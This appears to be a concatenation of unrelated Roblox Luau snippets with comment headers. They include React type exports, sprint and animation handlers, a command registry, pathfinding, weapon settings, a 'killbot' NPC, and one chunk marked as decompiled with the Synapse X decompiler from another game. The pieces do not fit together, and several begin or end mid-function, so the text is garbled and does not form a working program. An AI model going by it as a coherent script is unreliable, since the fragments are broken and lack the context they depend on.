-- ROBLOX deviation: we don't support string refs, and this is unsound flowtype when used with ref param of useImperativeHandle -- | string
export type React_Context<T> = { Provider: React_ComponentType<{ value: T, children: React_Node? }>, Consumer: React_ComponentType<{ children: (value: T) -> React_Node? }>, }
---------------------------------
local force = Instance.new("BodyForce") force.Parent = torso f = force wait(0.01) elseif ison == 0 then if arms then sh[1].Part1 = arms[1] sh[2].Part1 = arms[2] f.Parent = nil arms[2].Name = "Right Leg" arms[1].Name = "Left Leg" welds[1].Parent = nil welds[2].Parent = nil script.Parent.Parent.Humanoid.WalkSpeed = 16 end end
-- Set the gravitational pull for the confetti.
local gravity = Vector2.new(0,1); function _Confetti.setGravity(paramVec2) gravity = paramVec2; end;
-- Button.Size = Size1 -- Button.Material = Material1
DigitNumber.Value = DigitNumber.Value - 1 if DigitNumber.Value < Min then DigitNumber.Value = Max end NumberGUI.Text = DigitNumber.Value EnteredCode.Value = tostring(Digit1.Value)..""..tostring(Digit2.Value)..""..tostring(Digit3.Value) wait(.5)
--Clutch:
Tune.SpeedEngage = 15 -- Speed the clutch fully engages at (Based on SPS)
-- loop to handle timed state transitions and tool animations
while Character.Parent ~= nil do local _, currentGameTime = wait(0.1) stepAnimate(currentGameTime) end
--[[ ROBLOX TODO: Unhandled node for type: TSIndexedAccessType ]] --[[ export const test: NewPlugin['test'] ]]
local function test(val: unknown): boolean return val ~= nil and ReactIs.isElement(val) end exports.test = test local plugin: NewPlugin = { serialize = serialize, test = test } exports.default = plugin return exports
--= Functions =--
UIS.InputBegan:connect(function(key, gameProcessed) if key.KeyCode == Enum.KeyCode.LeftShift and gameProcessed == false then character.Humanoid.WalkSpeed = NewWalkSpeed sprinting = true while power > 0 and sprinting do power = power - .03 Bar.Size = UDim2.new(power / 10, 0, 1, 0) --Bar.BackgroundColor3 = Bar.BackgroundColor3:lerp(Color3.fromRGB(255, 42, 42), 0.001) tween:Play() wait() if power <= 0 then sprinting = false character.Humanoid.WalkSpeed = NormalWalkSpeed end end end end) UIS.InputEnded:connect(function(key, gameProcessed) if key.KeyCode == Enum.KeyCode.LeftShift and gameProcessed == false then character.Humanoid.WalkSpeed = NormalWalkSpeed sprinting = false runninganim:Stop() while power < 10 and not sprinting do power = power + .03 Bar.Size = UDim2.new(power / 10, 0, 1, 0) --Bar.BackgroundColor3 = Bar.BackgroundColor3:lerp(Color3.fromRGB(255, 166, 11), 0.001) tween2:Play() wait() if power <= 0 then character.Humanoid.WalkSpeed = NormalWalkSpeed end end end end) Humanoid.Running:Connect(function() print("step 1") if Humanoid.MoveDirection.Magnitude > 0 then print("step 2") if sprinting == true then print("complete") runninganim:Play() --while sprinting==false or Humanoid.MoveDirection.Magnitude <= 0 do --if runninganim ~= nil then -- runninganim:Stop() --end --runninganim:Stop() --wait() --end end else runninganim:Stop() end end)
--- Registers a command based purely on its definition. -- Prefer using Registry:RegisterCommand for proper handling of server/client model.
function Registry:RegisterCommandObject (commandObject, fromCmdr) for key in pairs(commandObject) do if self.CommandMethods[key] == nil then error("Unknown key/method in command " .. (commandObject.Name or "unknown command") .. ": " .. key) end end if commandObject.Args then for i, arg in pairs(commandObject.Args) do if type(arg) == "table" then for key in pairs(arg) do if self.CommandArgProps[key] == nil then error(('Unknown propery in command "%s" argument #%d: %s'):format(commandObject.Name or "unknown", i, key)) end end end end end if commandObject.AutoExec and RunService:IsClient() then table.insert(self.AutoExecBuffer, commandObject.AutoExec) self:FlushAutoExecBufferDeferred() end -- Unregister the old command if it exists... local oldCommand = self.Commands[commandObject.Name:lower()] if oldCommand and oldCommand.Aliases then for _, alias in pairs(oldCommand.Aliases) do self.Commands[alias:lower()] = nil end elseif not oldCommand then self.CommandsArray[#self.CommandsArray + 1] = commandObject end self.Commands[commandObject.Name:lower()] = commandObject if commandObject.Aliases then for _, alias in pairs(commandObject.Aliases) do self.Commands[alias:lower()] = commandObject end end end
-- Clear any existing animation tracks -- Fixes issue with characters that are moved in and out of the Workspace accumulating tracks
local animator = if Humanoid then Humanoid:FindFirstChildOfClass("Animator") else nil if animator then local animTracks = animator:GetPlayingAnimationTracks() for i,track in ipairs(animTracks) do track:Stop(0) track:Destroy() end end for name, fileList in pairs(animNames) do configureAnimationSet(name, fileList) end
--[[ An implementation of Promises similar to Promise/A+. ]]
local ERROR_NON_PROMISE_IN_LIST = "Non-promise value passed into %s at index %s" local ERROR_NON_LIST = "Please pass a list of promises to %s" local ERROR_NON_FUNCTION = "Please pass a handler function to %s!" local MODE_KEY_METATABLE = {__mode = "k"}
--The LocalScript must be parented inside StarterPlayer.StarterPlayerScripts to function properly, unless the code is modified.
local LocalScript = script.Parent LocalScript.Parent = game.StarterPlayer.StarterPlayerScripts
-- end
end wait(1) deb = false script.Parent.Text = ("Complete") end script.Parent.MouseButton1Click:connect(onClicked)
--[[ Input/Settings Changed Events ]]
-- local mouseLockSwitchFunc = function(actionName, inputState, inputObject) if IsShiftLockMode then onShiftLockToggled() end end local function disableShiftLock() if ShiftLockIcon then ShiftLockIcon.Visible = false end IsShiftLockMode = false Mouse.Icon = "" if InputCn then InputCn:disconnect() InputCn = nil end IsActionBound = false ShiftLockController.OnShiftLockToggled:Fire() end
-- ROBLOX deviation START: Re-export bindings types
export type ReactBinding<T> = ReactTypes.ReactBinding<T> export type ReactBindingUpdater<T> = ReactTypes.ReactBindingUpdater<T>
--basic variables
local Tool = script.Parent repeat wait() until Tool.Parent:findFirstChild("Humanoid") local Plr = game.Players:findFirstChild(Tool.Parent.Name) local Chr = Tool.Parent local Hum = Chr.Humanoid local R = Random.new()
--- subscribe the YouTube - PRO100zola 3k
local hum = script.Parent:WaitForChild("Humanoid") local anim = hum:LoadAnimation(script:FindFirstChildOfClass("Animation"))
-- Decompiled with the Synapse X Luau decompiler.
local l__LocalPlayer__1 = game.Players.LocalPlayer; local v2 = require(script.Parent); local v3 = require(script:FindFirstAncestor("MainUI").Modules.WindShake); local v4 = require(l__LocalPlayer__1:WaitForChild("PlayerScripts"):WaitForChild("PlayerModule")):GetControls(); local v5 = game["Run Service"]; local l__UserInputService__6 = game:GetService("UserInputService"); local l__TweenService__7 = game:GetService("TweenService"); local v8 = require(game:GetService("ReplicatedStorage"):WaitForChild("ClientModules"):WaitForChild("Module_Events")); v3:Init(); v2.gd:WaitForChild("ChaseInSession").Changed:Connect(function(p1) end); local function v9() local v10 = workspace.CurrentRooms:FindFirstChild(v2.gd.LatestRoom.Value); if v10 and v10:GetAttribute("RequiresKey") == true then end; if v10:WaitForChild("Door", 1) then local l__Door__11 = v10:FindFirstChild("Door"); local v12 = 12; if v2.chase then v12 = 24; end; if l__Door__11 then local l__Value__1 = v2.gd.LatestRoom.Value; task.spawn(function() for v13 = 1, 10000 do wait(0.1); if l__Value__1 < tonumber(l__LocalPlayer__1:GetAttribute("CurrentRoom")) then return; end; if (l__LocalPlayer__1.Character.PrimaryPart.Position - l__Door__11.PrimaryPart.Position).Magnitude < v12 then local v14 = RaycastParams.new(); v14.CollisionGroup = "Player"; v14.FilterDescendantsInstances = { l__Door__11, l__LocalPlayer__1.Character }; local v15 = workspace:Raycast(l__LocalPlayer__1.Character.PrimaryPart.Position, CFrame.new(l__LocalPlayer__1.Character.PrimaryPart.Position, l__Door__11.PrimaryPart.Position).LookVector * (l__LocalPlayer__1.Character.PrimaryPart.Position - l__Door__11.PrimaryPart.Position).Magnitude, v14); if not v15 then l__Door__11.ClientOpen:FireServer(); return; end; if not v15.Position then l__Door__11.ClientOpen:FireServer(); return; end; end; end; end); end; end; if v10:FindFirstChild("Shopkeeper") then require(script.Shopkeeper).run(v10); end; local v16, v17, v18 = ipairs(v10:GetDescendants()); while true do v16(v17, v18); if not v16 then break; end; v18 = v16; if v17:IsA("BasePart") and v17:GetAttribute("WindShake") == true then print("sup"); v3:AddObjectShake(v17); elseif v17.Name == "GuidingLightStuff" or v17.Name == "HelpLight" or v17.Name == "HelpParticle" then if v17:IsA("SpotLight") then if UserSettings().GameSettings.SavedQualityLevel.Value <= 4 then v17.Color = Color3.fromRGB(39, 190, 255); v17.Brightness = 8; v17.Range = 32; v17.Angle = 40; end; elseif v17:IsA("ParticleEmitter") and UserSettings().GameSettings.SavedQualityLevel.Value <= 5 then v17.Rate = 50; end; end; end; if v10:GetAttribute("Header") ~= nil and v10:GetAttribute("Header") ~= "" and v10:GetAttribute("Header") ~= " " then print("doing header"); v2.titlelocation(v10:GetAttribute("Header")); end; if v10:FindFirstChild("FigureSetup", true) then local l__FigureRagdoll__19 = v10:FindFirstChild("FigureSetup", true).FigureRagdoll; local l__Parent__20 = l__FigureRagdoll__19.Parent; local v21 = 0; local l__Click__22 = l__FigureRagdoll__19.Head.Click; local l__Growl__23 = l__FigureRagdoll__19.Head.Growl; local v24 = {}; for v25, v26 in pairs(l__FigureRagdoll__19:GetDescendants()) do if v26:IsA("Light") and v26.Name == "BlisterLight" then v26.Enabled = true; v26.Brightness = 0; table.insert(v24, { Light = v26, Distance = l__FigureRagdoll__19.Head.Position - v26.Parent.WorldPosition }); end; end; local v27 = TweenInfo.new(0.1, Enum.EasingStyle.Linear); for v28 = 1, 100000000 do wait(0.1); if not l__FigureRagdoll__19 then break; end; if l__FigureRagdoll__19.Parent ~= l__Parent__20 then break; end; local v29 = (l__Click__22.PlaybackLoudness + l__Growl__23.PlaybackLoudness) / 60; if v29 ~= v21 then for v30, v31 in v24, nil do delay(v31.Distance / 2, function() l__TweenService__7:Create(v31.Light, v27, { Brightness = v29 }):Play(); end); end; end; v21 = v29; end; end; if v10:FindFirstChild("FigureAnimatedWelded", true) then local l__FigureAnimatedWelded__32 = v10:FindFirstChild("FigureAnimatedWelded", true); local l__Parent__33 = l__FigureAnimatedWelded__32.Parent; local v34 = 0; local l__Click__35 = l__FigureAnimatedWelded__32.Parent.Head.Click; local l__Growl__36 = l__FigureAnimatedWelded__32.Parent.Head.Growl; local v37 = {}; for v38, v39 in pairs(l__FigureAnimatedWelded__32:GetDescendants()) do if v39:IsA("Light") and v39.Name == "BlisterLight" then v39.Enabled = true; v39.Brightness = 0; table.insert(v37, { Light = v39, Distance = l__FigureAnimatedWelded__32.Parent.Head.Position - v39.Parent.WorldPosition }); end; end; local v40 = TweenInfo.new(0.1, Enum.EasingStyle.Linear); for v41 = 1, 100000000 do wait(0.1); if not l__FigureAnimatedWelded__32 then break; end; if l__FigureAnimatedWelded__32.Parent ~= l__Parent__33 then break; end; local v42 = (l__Click__35.PlaybackLoudness + l__Growl__36.PlaybackLoudness) / 90 - 0.15; if v42 ~= v34 then for v43, v44 in v37, nil do delay(v44.Distance / 4, function() l__TweenService__7:Create(v44.Light, v40, { Brightness = v42 }):Play(); end); end; end; v34 = v42; end; end; end; v2.gd:WaitForChild("FinishedLoadingRoom").Changed:Connect(v9); v2.gd:WaitForChild("Preload").Changed:Connect(v9); workspace:WaitForChild("Ambience_Dark").Played:Connect(function() end); l__LocalPlayer__1:GetAttributeChangedSignal("CurrentRoom"):Connect(function() local v45 = workspace.CurrentRooms:FindFirstChild(l__LocalPlayer__1:GetAttribute("CurrentRoom")); if v45 then local v46 = Color3.fromRGB(67, 51, 56); local v47 = v45:GetAttribute("Ambient"); if v47 and type(v47) == "userdata" then v46 = v47; end; l__TweenService__7:Create(game.Lighting, TweenInfo.new(0.4, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), { Ambient = v46 }):Play(); end; end); local l__Shopkeeper__48 = workspace:FindFirstChild("Shopkeeper", true); if l__Shopkeeper__48 then require(script.Shopkeeper).run(l__Shopkeeper__48.Parent); end; local v49, v50, v51 = ipairs(workspace.CurrentRooms:GetDescendants());
--[=[ @within ClientRemoteSignal @interface Connection .Disconnect () -> nil ]=]
function ClientRemoteSignal.new(re: RemoteEvent, inboundMiddleware: ClientMiddleware?, outboudMiddleware: ClientMiddleware?) local self = setmetatable({}, ClientRemoteSignal) self._re = re if outboudMiddleware and #outboudMiddleware > 0 then self._hasOutbound = true self._outbound = outboudMiddleware else self._hasOutbound = false end if inboundMiddleware and #inboundMiddleware > 0 then self._directConnect = false self._signal = Signal.new(nil) self._reConn = self._re.OnClientEvent:Connect(function(...) local args = table.pack(...) for _,middlewareFunc in ipairs(inboundMiddleware) do local middlewareResult = table.pack(middlewareFunc(args)) if not middlewareResult[1] then return end end self._signal:Fire(table.unpack(args, 1, args.n)) end) else self._directConnect = true end return self end function ClientRemoteSignal:_processOutboundMiddleware(...: any) local args = table.pack(...) for _,middlewareFunc in ipairs(self._outbound) do local middlewareResult = table.pack(middlewareFunc(args)) if not middlewareResult[1] then return table.unpack(middlewareResult, 2, middlewareResult.n) end end return table.unpack(args, 1, args.n) end
-----------------------------------PATHER--------------------------------------
local function Pather(endPoint, surfaceNormal, overrideUseDirectPath) local this = {} local directPathForHumanoid local directPathForVehicle if overrideUseDirectPath ~= nil then directPathForHumanoid = overrideUseDirectPath directPathForVehicle = overrideUseDirectPath else directPathForHumanoid = UseDirectPath directPathForVehicle = UseDirectPathForVehicle end this.Cancelled = false this.Started = false this.Finished = Instance.new("BindableEvent") this.PathFailed = Instance.new("BindableEvent") this.PathComputing = false this.PathComputed = false this.OriginalTargetPoint = endPoint this.TargetPoint = endPoint this.TargetSurfaceNormal = surfaceNormal this.DiedConn = nil this.SeatedConn = nil this.BlockedConn = nil this.TeleportedConn = nil this.CurrentPoint = 0 this.HumanoidOffsetFromPath = ZERO_VECTOR3 this.CurrentWaypointPosition = nil this.CurrentWaypointPlaneNormal = ZERO_VECTOR3 this.CurrentWaypointPlaneDistance = 0 this.CurrentWaypointNeedsJump = false; this.CurrentHumanoidPosition = ZERO_VECTOR3 this.CurrentHumanoidVelocity = 0 this.NextActionMoveDirection = ZERO_VECTOR3 this.NextActionJump = false this.Timeout = 0 this.Humanoid = findPlayerHumanoid(Player) this.OriginPoint = nil this.AgentCanFollowPath = false this.DirectPath = false this.DirectPathRiseFirst = false local rootPart = this.Humanoid and this.Humanoid.RootPart if rootPart then -- Setup origin this.OriginPoint = rootPart.CFrame.p -- Setup agent local agentRadius = 2 local agentHeight = 5 local agentCanJump = true local seat = this.Humanoid.SeatPart if seat and seat:IsA("VehicleSeat") then -- Humanoid is seated on a vehicle local vehicle = seat:FindFirstAncestorOfClass("Model") if vehicle then -- Make sure the PrimaryPart is set to the vehicle seat while we compute the extends. local tempPrimaryPart = vehicle.PrimaryPart vehicle.PrimaryPart = seat -- For now, only direct path if directPathForVehicle then local extents = vehicle:GetExtentsSize() agentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z) agentHeight = AgentSizeIncreaseFactor * extents.Y agentCanJump = false this.AgentCanFollowPath = true this.DirectPath = directPathForVehicle end -- Reset PrimaryPart vehicle.PrimaryPart = tempPrimaryPart end else local extents = GetCharacter():GetExtentsSize() agentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z) agentHeight = AgentSizeIncreaseFactor * extents.Y agentCanJump = (this.Humanoid.JumpPower > 0) this.AgentCanFollowPath = true this.DirectPath = directPathForHumanoid this.DirectPathRiseFirst = this.Humanoid.Sit end -- Build path object this.pathResult = PathfindingService:CreatePath({AgentRadius = agentRadius, AgentHeight = agentHeight, AgentCanJump = agentCanJump}) end function this:Cleanup() if this.stopTraverseFunc then this.stopTraverseFunc() this.stopTraverseFunc = nil end if this.MoveToConn then this.MoveToConn:Disconnect() this.MoveToConn = nil end if this.BlockedConn then this.BlockedConn:Disconnect() this.BlockedConn = nil end if this.DiedConn then this.DiedConn:Disconnect() this.DiedConn = nil end if this.SeatedConn then this.SeatedConn:Disconnect() this.SeatedConn = nil end if this.TeleportedConn then this.TeleportedConn:Disconnect() this.TeleportedConn = nil end this.Started = false end function this:Cancel() this.Cancelled = true this:Cleanup() end function this:IsActive() return this.AgentCanFollowPath and this.Started and not this.Cancelled end function this:OnPathInterrupted() -- Stop moving this.Cancelled = true this:OnPointReached(false) end function this:ComputePath() if this.OriginPoint then if this.PathComputed or this.PathComputing then return end this.PathComputing = true if this.AgentCanFollowPath then if this.DirectPath then this.pointList = { PathWaypoint.new(this.OriginPoint, Enum.PathWaypointAction.Walk), PathWaypoint.new(this.TargetPoint, this.DirectPathRiseFirst and Enum.PathWaypointAction.Jump or Enum.PathWaypointAction.Walk) } this.PathComputed = true else this.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint) this.pointList = this.pathResult:GetWaypoints() this.BlockedConn = this.pathResult.Blocked:Connect(function(blockedIdx) this:OnPathBlocked(blockedIdx) end) this.PathComputed = this.pathResult.Status == Enum.PathStatus.Success end end this.PathComputing = false end end function this:IsValidPath() this:ComputePath() return this.PathComputed and this.AgentCanFollowPath end this.Recomputing = false function this:OnPathBlocked(blockedWaypointIdx) local pathBlocked = blockedWaypointIdx >= this.CurrentPoint if not pathBlocked or this.Recomputing then return end this.Recomputing = true if this.stopTraverseFunc then this.stopTraverseFunc() this.stopTraverseFunc = nil end this.OriginPoint = this.Humanoid.RootPart.CFrame.p this.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint) this.pointList = this.pathResult:GetWaypoints() if #this.pointList > 0 then this.HumanoidOffsetFromPath = this.pointList[1].Position - this.OriginPoint end this.PathComputed = this.pathResult.Status == Enum.PathStatus.Success if ShowPath then this.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList) end if this.PathComputed then this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it. this:OnPointReached(true) -- Move to first point else this.PathFailed:Fire() this:Cleanup() end this.Recomputing = false end function this:OnRenderStepped(dt) if this.Started and not this.Cancelled then -- Check for Timeout (if a waypoint is not reached within the delay, we fail) this.Timeout = this.Timeout + dt if this.Timeout > UnreachableWaypointTimeout then this:OnPointReached(false) return end -- Get Humanoid position and velocity this.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath this.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity -- Check if it has reached some waypoints while this.Started and this:IsCurrentWaypointReached() do this:OnPointReached(true) end -- If still started, update actions if this.Started then -- Move action this.NextActionMoveDirection = this.CurrentWaypointPosition - this.CurrentHumanoidPosition if this.NextActionMoveDirection.Magnitude > ALMOST_ZERO then this.NextActionMoveDirection = this.NextActionMoveDirection.Unit else this.NextActionMoveDirection = ZERO_VECTOR3 end -- Jump action if this.CurrentWaypointNeedsJump then this.NextActionJump = true this.CurrentWaypointNeedsJump = false -- Request jump only once else this.NextActionJump = false end end end end function this:IsCurrentWaypointReached() local reached = false -- Check we do have a plane, if not, we consider the waypoint reached if this.CurrentWaypointPlaneNormal ~= ZERO_VECTOR3 then -- Compute distance of Humanoid from destination plane local dist = this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidPosition) - this.CurrentWaypointPlaneDistance -- Compute the component of the Humanoid velocity that is towards the plane local velocity = -this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidVelocity) -- Compute the threshold from the destination plane based on Humanoid velocity local threshold = math.max(1.0, 0.0625 * velocity) -- If we are less then threshold in front of the plane (between 0 and threshold) or if we are behing the plane (less then 0), we consider we reached it reached = dist < threshold else reached = true end if reached then this.CurrentWaypointPosition = nil this.CurrentWaypointPlaneNormal = ZERO_VECTOR3 this.CurrentWaypointPlaneDistance = 0 end return reached end function this:OnPointReached(reached) if reached and not this.Cancelled then -- First, destroyed the current displayed waypoint if this.setPointFunc then this.setPointFunc(this.CurrentPoint) end local nextWaypointIdx = this.CurrentPoint + 1 if nextWaypointIdx > #this.pointList then -- End of path reached if this.stopTraverseFunc then this.stopTraverseFunc() end this.Finished:Fire() this:Cleanup() else local currentWaypoint = this.pointList[this.CurrentPoint] local nextWaypoint = this.pointList[nextWaypointIdx] -- If airborne, only allow to keep moving -- if nextWaypoint.Action ~= Jump, or path mantains a direction -- Otherwise, wait until the humanoid gets to the ground local currentState = this.Humanoid:GetState() local isInAir = currentState == Enum.HumanoidStateType.FallingDown or currentState == Enum.HumanoidStateType.Freefall or currentState == Enum.HumanoidStateType.Jumping if isInAir then local shouldWaitForGround = nextWaypoint.Action == Enum.PathWaypointAction.Jump if not shouldWaitForGround and this.CurrentPoint > 1 then local prevWaypoint = this.pointList[this.CurrentPoint - 1] local prevDir = currentWaypoint.Position - prevWaypoint.Position local currDir = nextWaypoint.Position - currentWaypoint.Position local prevDirXZ = Vector2.new(prevDir.x, prevDir.z).Unit local currDirXZ = Vector2.new(currDir.x, currDir.z).Unit local THRESHOLD_COS = 0.996 -- ~cos(5 degrees) shouldWaitForGround = prevDirXZ:Dot(currDirXZ) < THRESHOLD_COS end if shouldWaitForGround then this.Humanoid.FreeFalling:Wait() -- Give time to the humanoid's state to change -- Otherwise, the jump flag in Humanoid -- will be reset by the state change wait(0.1) end end -- Move to the next point if FFlagUserNavigationClickToMoveSkipPassedWaypoints then this:MoveToNextWayPoint(currentWaypoint, nextWaypoint, nextWaypointIdx) else if this.setPointFunc then this.setPointFunc(nextWaypointIdx) end if nextWaypoint.Action == Enum.PathWaypointAction.Jump then this.Humanoid.Jump = true end this.Humanoid:MoveTo(nextWaypoint.Position) this.CurrentPoint = nextWaypointIdx end end else this.PathFailed:Fire() this:Cleanup() end end function this:MoveToNextWayPoint(currentWaypoint, nextWaypoint, nextWaypointIdx) -- Build next destination plane -- (plane normal is perpendicular to the y plane and is from next waypoint towards current one (provided the two waypoints are not at the same location)) -- (plane location is at next waypoint) this.CurrentWaypointPlaneNormal = currentWaypoint.Position - nextWaypoint.Position this.CurrentWaypointPlaneNormal = Vector3.new(this.CurrentWaypointPlaneNormal.X, 0, this.CurrentWaypointPlaneNormal.Z) if this.CurrentWaypointPlaneNormal.Magnitude > ALMOST_ZERO then this.CurrentWaypointPlaneNormal = this.CurrentWaypointPlaneNormal.Unit this.CurrentWaypointPlaneDistance = this.CurrentWaypointPlaneNormal:Dot(nextWaypoint.Position) else -- Next waypoint is the same as current waypoint so no plane this.CurrentWaypointPlaneNormal = ZERO_VECTOR3 this.CurrentWaypointPlaneDistance = 0 end -- Should we jump this.CurrentWaypointNeedsJump = nextWaypoint.Action == Enum.PathWaypointAction.Jump; -- Remember next waypoint position this.CurrentWaypointPosition = nextWaypoint.Position -- Move to next point this.CurrentPoint = nextWaypointIdx -- Finally reset Timeout this.Timeout = 0 end function this:Start(overrideShowPath) if not this.AgentCanFollowPath then this.PathFailed:Fire() return end if this.Started then return end this.Started = true ClickToMoveDisplay.CancelFailureAnimation() if ShowPath then if overrideShowPath == nil or overrideShowPath then this.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList, this.OriginalTargetPoint) end end if #this.pointList > 0 then -- Determine the humanoid offset from the path's first point -- Offset of the first waypoint from the path's origin point this.HumanoidOffsetFromPath = Vector3.new(0, this.pointList[1].Position.Y - this.OriginPoint.Y, 0) -- As well as its current position and velocity this.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath this.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity -- Connect to events this.SeatedConn = this.Humanoid.Seated:Connect(function(isSeated, seat) this:OnPathInterrupted() end) this.DiedConn = this.Humanoid.Died:Connect(function() this:OnPathInterrupted() end) this.TeleportedConn = this.Humanoid.RootPart:GetPropertyChangedSignal("CFrame"):Connect(function() this:OnPathInterrupted() end) -- Actually start this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it. this:OnPointReached(true) -- Move to first point else this.PathFailed:Fire() if this.stopTraverseFunc then this.stopTraverseFunc() end end end --We always raycast to the ground in the case that the user clicked a wall. local offsetPoint = this.TargetPoint + this.TargetSurfaceNormal*1.5 local ray = Ray.new(offsetPoint, Vector3.new(0,-1,0)*50) local newHitPart, newHitPos = Workspace:FindPartOnRayWithIgnoreList(ray, getIgnoreList()) if newHitPart then this.TargetPoint = newHitPos end this:ComputePath() return this end
--// Handling Settings
Firerate = 60 / 300; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60! FireMode = 1; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
--// Math
local L_129_ = function(L_166_arg1, L_167_arg2, L_168_arg3) if L_166_arg1 > L_168_arg3 then return L_168_arg3 elseif L_166_arg1 < L_167_arg2 then return L_167_arg2 end return L_166_arg1 end local L_130_ = L_118_.new(Vector3.new()) L_130_.s = 30 L_130_.d = 0.55 local L_131_ = CFrame.Angles(0, 0, 0)
---------------------------------
local force = Instance.new("BodyForce") force.Parent = torso f = force if AJ == false then AJ = true antijump = script.AntiJump:clone() antijump.Parent = Tool.Parent antijump.Disabled = false elseif AJ == true then antijump.Disabled = false end wait(0.01) elseif ison == 0 then if arms then sh[1].Part1 = arms[1] sh[2].Part1 = arms[2] f.Parent = nil arms[2].Name = "Right Leg" arms[1].Name = "Left Leg" welds[1].Parent = nil welds[2].Parent = nil Tool.Parent:findFirstChild("Humanoid").WalkSpeed = 16 antijump.Disabled = true end end
-------------Motor6Ding Section------------------------
Character.Humanoid.Died:connect(function() Stand() _G.Proned = false _G.Crouched = false _G.Sprinting = false end) game:GetService("RunService").RenderStepped:connect(function() Mouse.TargetFilter = game.Workspace if not _G.Viewing then local HRPCF = Character.UpperTorso.CFrame * CFrame.new(0, .5, 0)* CFrame.new(Humanoid.CameraOffset) if Lean then HRPCF = HRPCF end Neck.C0 = Torso.CFrame:toObjectSpace(HRPCF) Neck.C1 = CFrame.Angles(-math.asin(Camera.CoordinateFrame.lookVector.y), 0, 0) elseif _G.Viewing then Character.Torso.Neck.C0 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 0, 0) Character.Torso.Neck.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 0, 0) end if player.PlayerScripts.CameraScript.RootCamera:FindFirstChild("Sensitivity") then if Aiming then player.PlayerScripts.CameraScript.RootCamera.Sensitivity.Value = Player.PlayerGui.MouseSensitivity.Frame.Data.Value else player.PlayerScripts.CameraScript.RootCamera.Sensitivity.Value = 1 end Mouse.Button2Down:connect(function() if not Aiming then Aiming = true end end) Mouse.Button2Up:connect(function() if Aiming then Aiming = false end end) end end)--]] Humanoid.HipHeight = 1
-- Constructor
local Camera = workspace.CurrentCamera local Looping = true local Speed = 1 local FreezeControls = false
--!strict
local LuauPolyfill = script.Parent.Parent local types = require(LuauPolyfill.types) type Array<T> = types.Array<T> type reduceFn<T, U> = (previousValue: U, currentValue: T, currentIndex: number, array: Array<T>) -> U
--[[ Stage implementation ]]
local EndGame = {} EndGame.__index = EndGame function EndGame.new(gameStageHandler) local self = setmetatable({ gameStageHandler = gameStageHandler, }, EndGame) return self end function EndGame:initialize() wait(5) -- TODO: Have a buffer time at the end of the game based on a configuration -- Teleport players back to the main lobby place for _, player in pairs(Players:GetPlayers()) do TeleportService:Teleport(Conf.lobby_place, player) end end function EndGame:playerAdded(player) local warningMessage = "Player " .. player.Name .. " joined after game start" warn(warningMessage) WarningEvent:FireAllClients(warningMessage) end function EndGame:destroy() end return EndGame
-- this code hijacked from the new rocket launcher
local Rocket = Instance.new("Part") Rocket.Locked = true Rocket.BackSurface = 3 Rocket.BottomSurface = 3 Rocket.FrontSurface = 3 Rocket.LeftSurface = 3 Rocket.RightSurface = 3 Rocket.TopSurface = 3 Rocket.Size = Vector3.new(1,1,4) Rocket.BrickColor = BrickColor.new(21) script.Parent.RocketScript:clone().Parent = Rocket script.Parent.Explosion:clone().Parent = Rocket script.Parent.Swoosh:clone().Parent = Rocket function fire(target) local dir = target - sphere.Position dir = computeDirection(dir) local missile = Rocket:clone() local spawnPos = sphere.Position local pos = spawnPos + (dir * 8) --missile.Position = pos missile.CFrame = CFrame.new(pos, pos + dir) missile.RocketScript.Disabled = false missile.Parent = game.Workspace end function computeDirection(vec) local lenSquared = vec.magnitude * vec.magnitude local invSqrt = 1 / math.sqrt(lenSquared) return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt) end function scanForHumans() -- KILL THE HUMANS!!!!!!!!!! -- for now, pick a random one. In the future, pick the closest. Or use hit test to pick a visible one. local humansFound = {} local players = game.Players:children() if (#players < 1) then return end local i = math.random(1, #players) myTarget = players[i].Character end function moveKillbot() -- killbots move using a biased random walk toward the target -- they also like to float at least 10 studs above the ground local dx = math.random(-100,100) local dy = math.random(-40,40) local dz = math.random(-100,100) if (sphere.Position.y < 10 and dy < 0) then dy = -dy end if (sphere.Position.y > 80 and dy > 0) then dy = -dy end if (myTarget ~= nil) then local dir = computeDirection(myTarget.PrimaryPart.Position - sphere.Position) dx = dx + (dir.x * 80) -- change this number to alter player trophism dz = dz + (dir.z * 80) end local vec = computeDirection(Vector3.new(dx,dy,dz)) sphere.BodyPosition.position = sphere.Position + (vec * 40) -- change this number to alter speed end function onTouched(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") if humanoid~=nil then humanoid.Health = humanoid.Health - 2000 -- Killbots kill you when you touch them! duh. end end sphere.Touched:connect(onTouched) while true do -- loop forever scanForHumans() for n=1,5 do if (myTarget ~= nil) then if(math.random(1,3) == 2) then fire(myTarget.PrimaryPart.Position) end wait(math.random(1,2)) moveKillbot() wait(math.random(1,2)) end end wait(1) -- don't hog CPU end
-- ==================== -- BASIC -- A basic settings for the gun -- ====================
